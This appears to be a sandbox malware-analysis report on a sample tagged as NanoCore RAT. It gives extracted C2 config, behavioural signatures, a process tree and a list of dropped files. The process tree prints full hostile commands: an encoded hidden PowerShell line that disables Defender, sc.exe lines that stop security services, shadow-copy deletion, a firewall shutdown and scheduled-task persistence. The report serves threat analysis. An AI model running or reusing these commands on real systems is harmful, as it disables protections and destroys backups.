Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/10/2026, 15:21

General

  • Target
    joyfax.com_chrome.exe
  • Size 57KB
  • Sample261018-srns4set7k
  • SHA256 a2034614ebfa8fc4ce3178498de86e5bc107e234e88bb73f0547e5f63473a7a7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://joyfax.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://joyfax.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5888
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1420
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4928
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5552
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:940
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3660
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:628
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2584
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4904
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe"
        3⤵
          PID:4520
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:5576
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:484
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2964
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3204
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:396
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5872
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3804
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:2392
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:320
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3636
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:5952
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:760
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:2964
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:4480
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4136
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:5524
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5896
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:1088
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2768
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3168
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:4516
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4960
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:4112
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1452
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:3472
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3676
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:2532
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:5948
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                PID:5436
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4540
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:2484
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:5964
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:4316
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5504
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4672
              • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
                1⤵
                  PID:5448
                • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
                  1⤵
                    PID:548
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:4264

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          scr_20261018_162314.jpg

                          • Path C:\ProgramData\SysUpdate\Scr\scr_20261018_162314.jpg
                          • Size 87KB
                          • SHA256 86aa3317c70f4fb23c0cf5815da2620287f5c9647b8616487e59b4d64bfe380f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_2.pdf

                          • Path C:\SystemVolumeInformation\doc_2.pdf
                          • Size 76KB
                          • SHA256 041ae9312cd451e44dfc0ad1b4fe341960ce2163055cba1e3fc250d2d7409aec
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __PSScriptPolicyTest_bkz5czxs.auc.psm1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bkz5czxs.auc.psm1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 242B
                          • SHA256 31637d5e88b2fb55574d741966f699641e7f421c52d0020a283ef9ba23a2c0ee
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 243B
                          • SHA256 d5685828740cd9e486b7e0d88e60686e34c3d873dc22fed5a6edcaa8942c63d4
                          • MD5 SHA1 SHA512 TLSH

                          temp_steal.log

                          • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                          • Size 117KB
                          • SHA256 2a4f71894f8d7ad21cd0d791305ad9232127d8af33e3184688ef486a078a6f0a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          stolen_data_here.txt

                          • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                          • Size 117KB
                          • SHA256 2506587ffaa87a8f77782a01bfe1495821bf7627a0686d60cf442039a4331895
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\Users\Admin\Documents\invoice_1.pdf
                          • Size 76KB
                          • SHA256 9d1170d45f6864627b59935688b35b03b356fc6b2cbd340c4717f2321d978242
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          READ_ME_NANOCORE.txt

                          • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                          • Size 145B
                          • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                          • MD5 SHA1 SHA512 TLSH

                          RANSOM_NOTE.txt

                          • Path F:\RANSOM_NOTE.txt
                          • Size 177B
                          • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                          • MD5 SHA1 SHA512 TLSH

                          memory/2392-2263-0x000001ACAA360000-0x000001ACAA361000-memory.dmp

                          memory/4688-6-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-8-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-2283-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-2281-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-2278-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-2274-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-4-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-5-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-7-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-3-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-0-0x00007FFEFB8BF000-0x00007FFEFB8C0000-memory.dmp

                          memory/4688-2-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/4688-1-0x0000000000AA0000-0x0000000000AB4000-memory.dmp

                          memory/4688-9-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-14-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-31-0x0000026037300000-0x000002603731E000-memory.dmp

                          memory/5888-33-0x00000260373E0000-0x00000260373EA000-memory.dmp

                          memory/5888-32-0x0000026037320000-0x00000260373D2000-memory.dmp

                          memory/5888-27-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-2250-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-26-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-25-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-24-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-23-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-22-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-20-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-21-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-13-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-19-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

                          memory/5888-18-0x0000026036BF0000-0x0000026036C12000-memory.dmp

                          memory/5888-15-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp